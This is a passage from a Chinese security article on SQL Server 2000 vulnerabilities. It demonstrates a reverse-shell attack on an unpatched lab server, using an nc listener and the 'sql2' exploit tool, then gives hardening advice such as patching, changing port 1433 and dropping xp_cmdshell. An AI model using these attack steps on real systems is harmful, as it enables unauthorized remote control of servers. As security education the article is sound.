2006-12-11

常见SQL Server 2000漏洞及其相关利用

来源: yesky 作者:金璞 评论 0 条
 

  关于注入有许多出色和经典的文章,还有像NBSI2那样好用的工具,在此就不班门弄斧了。

  三、SQL Server不打补丁的漏洞

  小王的SQL Server是安装在win 2000上的,没有打补丁,没打补丁的SQL Server就是个大漏勺,无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的SQL Serve(安装在192.168.113.10这台机器上)的攻击,实验中用到了两个工具,nc和sql2,nc别名瑞士军刀,是古老且十分强大的网络工具,假如想知道具体用法请参考网上的相关资料,sql2是专门攻击有漏洞的SQL Serve(sp2以下,含sp2),过程如下:

  如图25,在我的机器(IP地址为192.168.113.207)的命令窗口下(运行cmd)运行nc -l -p 77,意思是在本机开个77的端口

  新建一个命令窗口,运行sql2 192.168.113.10 192.168.113.207 77 0

  假如192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc监视窗口就会出现下图26的界面,注重!这个界面可是装有SQL Serve机器的,换句话,我们已经入侵到这台机器了。接着看下图27,用ipconfig 查的地址是192.168.113.10,它归你控制了,简单吧!

  

  图25

  

  图26

  

  图27

  四、几点建议

  1、及时打补丁

  不打补丁的危害上面已经演示了,道理就不用多说了吧!

  2、最小的权限等于对大的安全

  这句话说起轻易,做起难,有一个简单易行的办法就是用流行的漏洞扫描工具和攻击工具检测本系统是否安全,这样的工具非常多,自己找吧。

  3、安装防火墙

  假如只是在本机调试系统,安装防火墙是非常好的选择,这样即使有漏洞别人也无法攻击。

  4、改变端口

  假如SQL Serve需要远程访问,端口一定是要开放的,即使安装了防火墙,也要将SQL Serve的服务端口1433放开,针对SQL Serve的攻击工具主要扫描的是1433端口,可以改变默认端口,这样虽然不能从根本上解决问题,但可以对付一般的扫描,改变端口最简单的办法是在打开"开始"——〉"所有程序"——〉"Microsoft SQL Serve" ——〉"服务器网络实用工具",在界面中选中"TCP/IP",点击"属性",把1433改为不超过65535的一个数,重启SQL Serve服务,这样默认端口就改了,注重这时你远程连接SQL Serve时IP地址后要加改过的端口号。

  5、删除不需要的扩展存储过程

  假如你的系统中确实不需要这些扩展存储过程可以删除。

  删除存储过程的命令是:EXEC sp_dropextendedproc ‘存储过程的名称'

  例如要删除xp_cmdshell,执行EXEC sp_dropextendedproc ‘xp_cmdshell',每个扩展存储过程实际上用的是相应的dll文件,假如想彻底让该存储过程不起作用,还要将dll文件也删除。这些文件一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,如图28,xp_cmdshell的dll文件是xplog70.dll

  要恢复该存储过程,命令是:

  EXEC sp_addextendedproc存储过程的名称 ,@dllname ='存储过程的dll'

  例如:恢复存储过程xp_cmdshell
共6页: 上一页 [1] [2] [3] [4] 5 [6] 下一页

(本文仅表明作者个人观点,不代表本站及其管理员立场.) 推荐 收藏 投稿 打印 返回 关闭
上一篇:启动SQL Server时自动执行存储过程  
下一篇:SQL Server数据库性能优化技术
    评论加载中…
 推荐文章
     

网站首页  -  网站地图 -   站长论坛  -  网站投稿  -    -  网站管理
Copyright © 2008 芜湖站长站 All Rights Reserved 皖ICP备07500611号